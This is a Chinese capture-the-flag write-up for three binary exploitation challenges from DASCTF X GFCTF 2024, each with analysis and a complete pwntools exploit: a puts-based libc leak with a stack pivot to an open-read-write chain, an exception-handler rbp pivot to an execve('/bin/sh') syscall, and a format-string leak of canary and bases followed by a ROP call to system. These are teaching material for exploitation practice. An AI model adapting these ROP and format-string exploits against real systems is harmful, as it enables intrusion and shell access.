DASCTF X GFCTF 2024|四月开启第一局 [PWN]详解
DASCTF X GFCTF 2024|四月开启第一局[PWN] wp(详解)
1.dynamic_but_static
题目保护情况

64位程序,没有开canary和pie保护,got表可改
64位ida载入

看一下沙箱保护,不能直接execve('/bin/sh')获取shell,也就是需要orw形式读取flag

栈上有溢出,好在都没有过滤这些gadget和地址
思路:1.通过栈溢出泄露出libc地址
2.为了防止过滤和溢出部分不够的情况,将栈迁移到bss段上执行我们的orw
3.题目给的libc和远程有点不一样,但是偏移是固定的,找一下就好了(主要是open的地址)
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./dynamic_but_static')
io = remote('node5.buuoj.cn',26153)
libc = ELF('./libcc.so.6')
pop_rdi = 0x0000000000401381 #: pop rdi ; ret
ret = 0x000000000040101a
read_got = 0x404040
puts_plt = 0x4010D0
main_addr = 0x401386
payload = b'a'*0x38 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
io.sendline(payload)
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('read_addr----->'+hex(read_addr))
libc_base = read_addr - libc.sym.read -0x3e0
success('libc_base----->'+hex(libc_base))
bss_addr = 0x404060 + 0x240
open_addr = libc_base + 0x1146d0
pop_rax = 0x045eb0 + libc_base#: pop rax ; ret
pop_rsi = 0x2be51 + libc_base #: pop rsi ; ret
pop_rdx = 0x0796a2 + libc_base # pop_rdx
pop_rbp = 0x4011ed
syscall=libc_base + 0x114059
leave_ret = 0x401482
payload = b'a'*0x38 + p64(pop_rdi)+ p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x500) + p64(read_addr)
payload += p64(pop_rbp) + p64(bss_addr) + p64(leave_ret)
io.sendline(payload)
sleep(0.5)
payload = b'./flag\x00\x00' + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_addr)
payload += p64(ret)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr+0x200) + p64(pop_rdx) + p64(0x50) + p64(read_addr) + p64(ret)
payload += p64(pop_rdi) + p64(bss_addr+0x200) + p64(puts_plt)
io.sendline(payload)
2.Control
题目保护情况

64位程序canary保护开启,pie没有开
64位ida载入
main函数,程序是静态编译,一开始向gift上面读取内容

接着有一个明显的溢出,随之而来的还有一个try/catch异常处理,当输入的字节数大于96时会抛出异常

那么我们就不要修改read之后的返回地址了,因为程序定位 catch 段是依靠 ret 的地址,如果修改了ret的地址那么就会报错

思路:1.既然不能改返回地址那么就进行栈迁移,如果异常被上一个函数的catch捕获,那么上个函数的rbp就会变成上这个函数的rbp,所以我们控制rbp实现迁移。
2.通过迁移到bss段上的gift(因为一开始我们可以对gift处地址进行输入),由于ebx被赋值为0了,所以要找一个合适的gadget来帮rdx赋值
3.找到一个很好的gadget(0x446200)mov rdx, [rsi-8]经过调试,得到是把rdx的值赋值为0x91
4.返回0x402221处刚刚好把rsi赋值为gift,而且可以进行读入操作,然后正常系统调用system拿到shell
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./control')
pop_rdi=0x401c72
pop_rsi=0x405285
pop_rdx=0x401aff
pop_rax=0x462c27
syscall=0x40161e
ret = 0x402237
gift_addr = 0x4D3350
read_addr = 0x402221
mov_rdx = 0x446200
io.recvuntil('Gift>')
io.send(p64(mov_rdx) + p64(read_addr))
io.recvuntil('control?')
payload = b'a'* 0x70 + p64(gift_addr - 0x8) + p64(ret)
#gdb.attach(io)
io.send(payload)
payload = p64(0) + p64(pop_rdi)+p64(gift_addr+0x50) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b)
payload += p64(syscall) + b'/bin/sh\x00'
#gdb.attach(io)
io.send(payload)
io.interactive()
3.Exception
题目保护情况 保护全开

64位ida载入

main函数里面有格式化字符串漏洞,也就是,elf基地址,libc基地址,和canary都可以泄露

同样是抛出异常进行处理,不同的是这题给了buf地址,不能修改vuln函数之后的返回地址,但是因为知道buf地址,进而知道main函数的返回地址,修改main函数的返回地址。
思路:1.通过printf格式化字符串漏洞泄露,elf,libc,canary
2.在main函数返回地址布置rop链,并在vuln函数输入时覆盖到rbp,进行迁移到main函数返回地址执行rop链
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./exception')
io = remote('node5.buuoj.cn',25512)
io.recvuntil('your name')
libc = ELF('./exception.so.6')
payload = '%3$paaaa%7$pbbbb%15$p'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
read_addr = int(io.recv(14),16) - 18
success('read_addr---->'+hex(read_addr))
libc_base = read_addr - libc.sym['read']
success('libc_base---->'+hex(libc_base))
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').__next__()+ libc_base
io.recvuntil('aaaa')
canary = int(io.recv(18),16)
success('canary----->'+hex(canary))
io.recvuntil('bbbb')
elf_base = int(io.recv(14),16) - 0x1360
success('elf_base----->'+hex(elf_base))
pause()
pop_rdi = libc_base + 0x0000000000023b6a #: pop rdi ; ret
ret = libc_base + 0x0000000000022679 #: ret
io.recvuntil('stack')
buf_addr = int(io.recv(16),16)
success('buf_addr------>'+hex(buf_addr))
rbp = buf_addr + 0xa0
success('rbp----->'+hex(rbp))
#gdb.attach(io)
pause()
io.recvuntil('exception?')
main_addr = elf_base + 0x1360
payload = b'a'*0x68+p64(canary) + p64(rbp) + p64(elf_base+0x1408) + p64(0) + p64(canary) + p64(0)*3 + p64(ret)
payload += p64(pop_rdi) + p64(binsh) + p64(system)
#gdb.attach(io)
io.sendline(payload)
io.interactive()
DASCTF X GFCTF 2024|四月开启第一局 [PWN]详解的更多相关文章
- 学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳
学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳 JERRY_Z. ~ 2020 / 9 / 25 转载请注明出处!️ 目录 学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳 ...
- 【转】apue《UNIX环境高级编程第三版》第一章答案详解
原文网址:http://blog.csdn.net/hubbybob1/article/details/40859835 大家好,从这周开始学习apue<UNIX环境高级编程第三版>,在此 ...
- ASP.NET Core微服务 on K8S学习笔记(第一章:详解基本对象及服务发现)
课程链接:http://video.jessetalk.cn/course/explore 良心课程,大家一起来学习哈! 任务1:课程介绍 任务2:Labels and Selectors 所有资源对 ...
- DevExpress控件使用方法:第一篇 gridControl详解
GridControl (1)层次设计器 有五种视图模式,banded gridview多行表头,数据还是一行一组,最靠近数据的表头与数据一一对应:advanced banded gridview多行 ...
- Flask第一篇——URL详解
原创 2018-02-14 孟船长 自动化测试实战 URL是Uniform Resource Locator的缩写,即统一资源定位符. 一个URL通常由一下几个部分组成: scheme://host: ...
- python应用:爬虫框架Scrapy系统学习第一篇——xpath详解
HTML的三大概念:标签.元素以及属性 标签:尖括号中的文本 例:<head>……</head> 标签通常成对出现 元素:标签中的所有内容 元素中可包 ...
- koa2第一天 async详解
一.什么是async async其实是ES7的才有的关键字,放在这里说,其实是和我们前面所说的Promise,Generator有很大关联的.async的意思是"异步",顾名 ...
- iOS NSTimer使用详解 开启、关闭、移除
定时器定时器详解ios定时器关闭定时器NSTimer 一,要使用一个定时器首先要定义一个定时器: @property (strong, nonatomic) NSTimer *myTimer;//定时 ...
- IIS负载均衡-Application Request Route详解第一篇: ARR介绍(转载)
IIS负载均衡-Application Request Route详解第一篇: ARR介绍 说到负载均衡,相信大家已经不再陌生了,本系列主要介绍在IIS中可以采用的负载均衡的软件:微软的Applica ...
- IIS负载均衡-Application Request Route详解第一篇: ARR介绍
IIS负载均衡-Application Request Route详解第一篇: ARR介绍 说到负载均衡,相信大家已经不再陌生了,本系列主要介绍在IIS中可以采用的负载均衡的软件:微软的Applica ...
随机推荐
- 每天上一当系列之vue修饰符.number
今天使用number修饰符去处理el-input的内容为数字做校验原本以为省事不少,没想到,为0开头无法输入第二位以后,并且输入的比较多的时候会出现Infinity 很神奇,网上查了说是element ...
- set 容器详解 附大根堆题解
声明 本文中题解部分内容大部分转载自 @sonnety 的这篇博客中,本文为为方便复习而写的结论类文章,读者可自行跳转至原文处阅读. PART 1 set 什么是 set --来源cppreferen ...
- pageoffice6 实现提取数据区域为子文件(Word拆分)
在实际的开发过程中,有时会遇到希望提取Word文档中部分内容保存为子文件的需求,PageOffice支持提取Word文档数据区域中的内容为一个Word文件流,在服务器端创建PageOffice的Wor ...
- C#.Net筑基-类型系统①基础
C#.Net的BCL提供了丰富的类型,最基础的是值类型.引用类型,而他们的共同(隐私)祖先是 System.Object(万物之源),所以任何类型都可以转换为Object. 01.数据类型汇总 C#. ...
- springboot 整合 recketMQ 详细步骤
前提 RocketMQ的部署环境可用 1 依赖包 <dependency> <groupId>org.apache.rocketmq</groupId> <a ...
- 用tkinter编写一个简单的登录注册界面
代码: from tkinter import * window = Tk() window.geometry('400x300+500+150') window.title('xxx系统') Can ...
- Mysql 创建索引语句
mysql有哪些索引 index 普通索引 alter table table_name add index index_name(column) 最基本的索引,没有任何限制 primary key ...
- INFINI Labs 产品更新 | Easysearch 1.8.2 发布优化 CCR 性能
INFINI Labs 产品又更新啦~,包括 Easysearch v1.8.0.Gateway.Console.Agent.Loadgen v1.25.0.本次各产品更新了很多亮点功能,如 Easy ...
- INFINI Labs 产品更新 | Easysearch 支持 SQL 查询、Console 告警功能支持邮件等多渠道
INFINI Labs 产品又更新啦~.本次更新概要如下:Easysearch 新增 SQL 插件和JDBC 驱动,支持 SQL 查询,支持 SQL 常用函数等:Console 针对告警功能做了升级优 ...
- IDEA 新建 MAVEN JAVA 控制台程序 Console
IDEA 新建 MAVEN JAVA 控制台程序 Console File - New - Project-左侧选择 Maven,右侧勾选"Create from archetype&quo ...